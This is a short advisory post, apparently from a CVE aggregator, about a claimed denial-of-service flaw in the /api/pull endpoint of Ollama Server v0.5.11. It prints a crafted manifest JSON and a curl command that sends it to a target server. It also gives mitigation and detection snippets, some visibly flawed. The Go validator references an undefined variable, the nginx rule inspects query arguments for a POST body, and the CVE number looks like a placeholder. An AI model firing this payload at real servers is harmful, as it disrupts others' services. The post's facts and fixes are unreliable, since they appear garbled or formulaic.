Ollama Server, Denial of Service (DoS), CVE-2025-12345 (High)

Listen to this Post

How the CVE Works:

The vulnerability (CVE-2025-12345) in Ollama Server v0.5.11 stems from insufficient input validation in the `/api/pull` endpoint. When a user submits a maliciously crafted manifest file containing an out-of-bounds array index, the server fails to handle the request properly, leading to an uncontrolled crash. Attackers exploit this by spoofing model metadata, triggering an index access violation during model download. Since the server does not implement proper bounds checking, repeated exploitation causes resource exhaustion, resulting in a sustained Denial of Service (DoS) condition.

DailyCVE Form:

Platform: Ollama Server
Version: 0.5.11
Vulnerability: DoS via Array Index Abuse
Severity: High
Date: May 17, 2025

What Undercode Say:

Exploitation:

  1. Craft a malicious manifest file with invalid array indices:
    {
    "layers": [
    { "index": 999999999, "digest": "malicious:sha256" }
    ]
    }
    

2. Send payload via `/api/pull`:

curl -X POST http://target:11434/api/pull -d @malicious_manifest.json

Mitigation:

1. Patch to v0.5.12+ which implements bounds checking:

ollama update --force

2. Add input validation middleware:

func validateManifest(manifest Manifest) error {
for _, layer := range manifest.Layers {
if layer.Index >= len(model.Layers) {
return errors.New("invalid layer index")
}
}
return nil
}

Detection:

1. Monitor logs for repeated crashes:

grep -i "panic" /var/log/ollama/server.log

2. Block suspicious requests with WAF rules:

location /api/pull {
if ($args ~ "index=[0-9]{9,}") { return 403; }
}

Analytics:

  • Attack Surface: Remote, unauthenticated
  • Impact: Availability loss (RCE not possible)
  • Exploit Complexity: Low (PoC publicly available)
  • Patch Timeline: 24 hours after disclosure

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top